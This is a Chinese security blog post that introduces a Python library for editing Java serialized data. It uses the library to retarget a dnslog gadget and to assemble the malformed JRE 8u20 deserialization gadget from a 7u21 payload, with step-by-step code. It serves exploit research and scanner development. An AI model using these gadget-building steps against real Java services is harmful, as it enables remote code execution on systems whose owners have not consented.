使用python javaSerializationTools模块拼接生成 8u20 Gadget

宽字节安全 2021-01-21 16:36:23
Python 模块 使用 拼接 javaserializationtools


简介

最近受朋友所托,在使用python写扫描器关于java反序列化漏洞的exp中,一直无法简便的生成payload。目前来说只有两种方法:

  1. python通过命令调用java的Ysoerial.jar 去获取gadget。 缺点太多了,还要在线上环境中准备一个jdk,对于特殊的gadget,比如7u21 这种payload,还需要准备多个版本的jdk。
  2. python直接写死gadget的字节码。

当然,上面两种方法都有一个最致命的缺点,那就是无法随意更改Suid值等反序列化属性。在反序列化攻击的场景中。经常会出现suid不一致而导致无法攻击成功的案例,当然,各种奇技淫巧都是在jar包中想办法,而很少有人在反序列化文件上动手。

于是,我按照java反序列化协议标准,使用python编写一个模块,可以做到自由读写java反序列化文件。当然,后期也可能会推出Java版。

生成8u20 gadget才是最具有挑战的事,因为网上的工具,基本都很复杂,需要手工计算handle等。这对一个不懂java反序列化协议的人来讲,十分不友好。而且,8u20 gadget是一个畸形的反序列化数据。

我们先从dnslog说起,从易到难,看一下如何使用javaSerializationTools模块读写java序列化文件

修改Dnslog gadget的网址

在这里我们不关心dnslog这个gadget是如何触发的,我们只关心如何修改dnslog地址。

修改dnslog的地址,其实也就是修改java.net.URL对象的host字段的值。所以我们先读取一个dnslog的反序列化文件,解析成功后保存为yaml文本格式的模板。

json 不支持复杂对象的存储,比如java中经常会出现对象的循环引用,json无法表达这种关系,而yaml可以表达,但是牺牲部分可读性。主要为了降低工作量

示例代码如下:

 with open("../files/dnslog.ser", "rb") as f:
a = ObjectRead(f)
dnslog = a.readContent()

在这里我使用模块的javaObject类去表示一个java类。因为在反序列化数据中,只有对象,对象中的字段以及对象的类,如果存在额外数据,则添加到javaObject对象中的objectAnnoation列表中。下面我们来看截图,看一下dnslog是如何被解析的

loadFactorthreshold是HasnMap对象的两个属性,在这里没什么好说的。下面来说一下我是如何保存java对象中字段的值。

在java中某个类可能继承自父类,父类也可能继承自爷爷类。java为了精准的保存某个对象,会将对象所有的字段都保存下来。在反序列化还原对象中,首先读取对象的类的描述。也就是如上图中javaClass所表示的一样。紧接着还原对象的值中,会按照读取的类的描述中字段的顺序,先读取父类的值,再读取子类的值。所以我将字段保存为多维数组,按层保存。字段的顺序与javaCLass中描述的字段顺序必须一致。

下面再讲一下 objectAnnoation是个什么东西。在反序列化中,默认保存对象的所有值。但是对于HashMap这种对象来讲,对象中的值,也就是key和value是不固定的,没有办法保存。这时writeObject和readObject方法出场了。writeObject方法是写入对象中多余的值的特殊方法。经过writeObject方法写入的内容,会被写入到ObjectAnnotation中。readObject读取,也是读取ObjectAnnotation中的信息。在反序列化中,首先写入父类的字段值,如果父类存在writeObject,则再调用writeObject写入额外信息。然后再写入子类的字段值。writeObject函数在调用成功后,会向ObjectAnnotation中写入EndBlock标识终结。

对于hashmap对象来说,key和value分别存放到ObjectAnnotation中。我们需要想办法修改URL对象的host字段。URL对象的布局如下图所示

修改起来很简单,代码如下

 dnslogUrl = 'bza4l5.dnslog.cn'
with open('dnslog.yaml', "r") as f:
dnslog = yaml.load(f, Loader=yaml.FullLoader)
UrlObject = dnslog.objectAnnotation[2]
# 修改java.net.URL的host属性为新的dnslog地址
dnslog.objectAnnotation[1].fields[0][4].value.string = dnslogUrl
with open('dnslog.ser', 'wb') as f:
ObjectWrite(f).writeContent(dnslog)

dnslog.yaml 截图如下

生成 JRE 8u20 gadget

上面简单对象已经讲完了,下面我们来说一下复杂对象的读写。我们只需要大概了解jre 7u21 payload的触发流程即可。以及修复方式如何被绕过的。

7u21的gadget中 LinkedHashMapreadObject触发sun.reflect.annotation.AnnotationInvocationHandler,最终触发RCE。修复方法如下图所示。readObject中会判断反序列化的类型,如果不是所期望的,则直接抛出异常。

我们还需要回顾刚才讲的writeObject方法。假如一个对象在序列化过程中,调用writeObject方法。则java序列化中,是不会序列化任何字段值,一切交由对象的writeObject方法去处理。所以一般的writeObject方法中,只是保存额外信息,对象的字段值,统统交由defaultReadObject()去处理。

虽然sun.reflect.annotation.AnnotationInvocationHandler抛出了异常,但是对象以及所有的属性,其实已经还原完毕了。并且后面也可以调用。

我们分析一下原因,打开java序列化协议标准中关于还原对象的部分或者我自写的ObjectRead类的readObject方法

https://github.com/potats0/javaSerializationTools/blob/main/javaSerializationTools/ObjectRead.py#L150

在java序列化协议中,为了防止循环引用,或者为了节约序列化后空间,会将出现一摸一样的对象,第二个相同的对象使用reference代替,你可以理解为c语言的指针。在还原对象中,首先为被还原对象建立reference,其次再还原对象的值。

sun.reflect.annotation.AnnotationInvocationHandler的readObject中,我们可以看到抛出异常的代码后面,也没有额外信息可以供我们读取。所以,即使抛出了异常,但是对象也是被成功还原的,抛出异常前,对象的所有字段其实已经被还原完成了。所以我们想办法拦截异常信息,不打断正常的反序列化流程即可。这就是8u20 gadget的通俗解释。

在这里我们直接看java.beans.beancontext.BeanContextSupport#readChildren方法。在这里读取了额外的对象,并且也捕获异常信息。并没有打断正常的反序列化流程。

刚才我们说过,ObjectAnnotation的结尾,存放JavaEndBlockData,标识readObject读取的结尾。但是现在抛出异常了,导致BeanContextSupport的ObjectAnnotation中,JavaEndBlockData无法被正常处理。也就会导致后面读取全部错误。这也就是jre 8u20无法被第三方软件解析成功的原因。我们在生成BeanContextSupport中,不能按照规定,在ObjectAnnotation的结尾处生成JavaEndBlockData标识。这也就是8u20 畸形数据的来源。

下面我们来看一下7u21 的解析结果,如图

我们刚说过,在反序列化流程中,一般都是首先还原对象中字段的值,再还原objectAnnotation中的值。我们只需要插入一个虚假的字段到LinkedHashSet中,java反序列化中,如果遇到虚假的反序列化值,是不会影响正常的反序列化的流程的。

说起来容易做起来难,java序列化是不会生成这种畸形数据的。手工修改7u21的payload,插入一个新对象的话,后面所有的引用都需要一一修改。这个工作量听起来就很吓人,而且很容易出错。

所以我使用 javaSerializationTools模块,修改7u21的gadget,自动计算引用等。

首先向LinkedHashSet中添加一个新的字段,名字叫fake,类型为BeanContextSupport

代码如下


with open("../files/7u21.ser", "rb") as f:
a = ObjectRead(f)
obj = a.readContent()
# 第一步,向HashSet添加一个假字段,名字fake
signature = JavaString("Ljava/beans/beancontext/BeanContextSupport;")
fakeSignature = {'name': 'fake', 'signature': signature}
obj.javaClass.superJavaClass.fields.append(fakeSignature)

然后构造BeanContextSupport对象的值

 # 构造假的BeanContextSupport反序列化对象,注意要引用后面的AnnotationInvocationHandler
# 读取BeanContextSupportClass的类的简介
with open('BeanContextSupportClass.yaml', 'r') as f1:
BeanContextSupportClassDesc = yaml.load(f1.read(), Loader=yaml.FullLoader)
# 向beanContextSupportObject添加beanContextChildPeer属性
beanContextSupportObject = JavaObject(BeanContextSupportClassDesc)
beanContextChildPeerField = JavaField('beanContextChildPeer',
JavaString('Ljava/beans/beancontext/BeanContextChild'),
beanContextSupportObject)
beanContextSupportObject.fields.append([beanContextChildPeerField])
# 向beanContextSupportObject添加serializable属性
serializableField = JavaField('serializable', 'I', 1)
beanContextSupportObject.fields.append([serializableField])

最后处理objectAnnotation,因为BeanContextSupport的父类也有writeObject方法。根据协议,我们第一个值为javaEndBlock,第二个值才是sun.reflect.annotation.AnnotationInvocationHandler对象,在这里我们直接引用7u21 的AnnotationInvocationHandler对象。这样,真正起作用的AnnotationInvocationHandler为第一个成功还原的AnnotationInvocationHandler的对象。而引用的对象,再被引用的过程中是不会调用readObject方法的。

代码如下

 # 向beanContextSupportObject添加objectAnnontations 数据
beanContextSupportObject.objectAnnotation.append(JavaEndBlock())
AnnotationInvocationHandler = obj.objectAnnotation[2].fields[0][0].value
beanContextSupportObject.objectAnnotation.append(AnnotationInvocationHandler)
# 把beanContextSupportObject对象添加到fake属性里
fakeField = JavaField('fake', fakeSignature['signature'], beanContextSupportObject)
obj.fields[0].append(fakeField)

当然不需要计算handle了,只需要使用ObjectWrite对象写入文件,即可自动计算handle等一切繁琐的事

 with open("8u20.ser", 'wb') as f:
o = ObjectWrite(f)
o.writeContent(obj)

8u20 gadget 布局如下图所示

完整的代码详见 https://github.com/potats0/javaSerializationTools/blob/main/tests/test8u20/main.py

欢迎fork star项目,目前还在设计中,届时使用起来将会更加容易

项目地址 https://github.com/potats0/javaSerializationTools

版权声明
本文为[宽字节安全]所创,转载请带上原文链接,感谢
https://www.cnblogs.com/potatsoSec/p/14308789.html

  1. LeetCode | 0508. 出现次数最多的子树元素和【Python】
  2. Leetcode | 0508
  3. LeetCode | 0530. 二叉搜索树的最小绝对差【Python】
  4. LeetCode | 0515. 在每个树行中找最大值【Python】
  5. Leetcode | 0530. Minimum absolute difference of binary search tree [Python]
  6. Leetcode | 0515. Find the maximum value in each tree row [Python]
  7. 我来记笔记啦-搭建python虚拟环境
  8. Let me take notes - building a python virtual environment
  9. LeetCode | 0513. 找树左下角的值【Python】
  10. Leetcode | 0513. Find the value in the lower left corner of the tree [Python]
  11. Python OpenCV 泛洪填充,取经之旅第 21 天
  12. Python opencv flood fill, day 21
  13. Python爬虫自学系列(二)
  14. Python crawler self study series (2)
  15. 【python】身份证号码有效性检验
  16. [Python] validity test of ID number
  17. Python ORM - pymysql&sqlalchemy
  18. Python ORM - pymysql&sqlalchemy
  19. centos7 安装python3.8
  20. centos7 安装python3.8
  21. Centos7 installing Python 3.8
  22. Centos7 installing Python 3.8
  23. Django——图书管理系统(六)
  24. Django——图书管理系统(五)
  25. Django -- library management system (6)
  26. Django -- library management system (5)
  27. python批量插入数据小脚本
  28. Python batch insert data script
  29. ZoomEye-python 使用指南
  30. Zoomeye Python User's Guide
  31. 用Python写代码,一分钟搞定一天工作量,同事直呼:好家伙 - 知乎
  32. Using Python to write code, one minute to complete a day's workload, colleagues call: good guy - Zhihu
  33. Python 上的可视化库——PyG2Plot
  34. Pyg2plot: a visualization library on Python
  35. Python 上的可视化库——PyG2Plot
  36. Python实用代码-无限级分类树状结构生成算法
  37. Pyg2plot: a visualization library on Python
  38. Python utility code - infinite classification tree structure generation algorithm
  39. 奇技淫巧,还是正统功夫?Python推导式最全用法
  40. Pandas 的这个知识点,估计 80% 的人都得挂!
  41. 前后端分离有什么了不起,手把手教你用Python爬下来!
  42. 在 Azure 上执行一些简单的 python 工作
  43. 推荐 :利用Python的混合集成机器学习(附链接)
  44. Cunning or orthodox Kung Fu? The most complete usage of Python derivation
  45. It's estimated that 80% of pandas people have to hang up!
  46. What's so great about the separation of front and rear ends? Hand in hand teach you to climb down with Python!
  47. Doing some simple Python work on azure
  48. Recommendation: hybrid integrated machine learning using python (link attached)
  49. Learning PPO algorithm programming from scratch (Python version)
  50. Python OpenCV 图片模糊操作 blur 与 medianBlur
  51. Python OpenCV image blur operation blur and mediablur
  52. 成功解决cv2.error: OpenCV(4.1.2) C:\projects\opencv-python\opencv\modules\imgproc\src\color.cpp:182: err
  53. Cv2.error solved successfully: opencv (4.1.2) C:: (projects / opencv Python / opencv modules / imgproc / SRC)\ color.cpp:182 : err
  54. Python 中使用 virtualenv 管理虚拟环境
  55. Using virtualenv to manage virtual environment in Python
  56. 如何使用Python执行系统命令?Python学习教程!
  57. How to use Python to execute system commands? Python tutorial!
  58. 快速掌握Python中的循环技术
  59. Quickly grasp the loop technology in Python
  60. Python主流Web框架之Tornado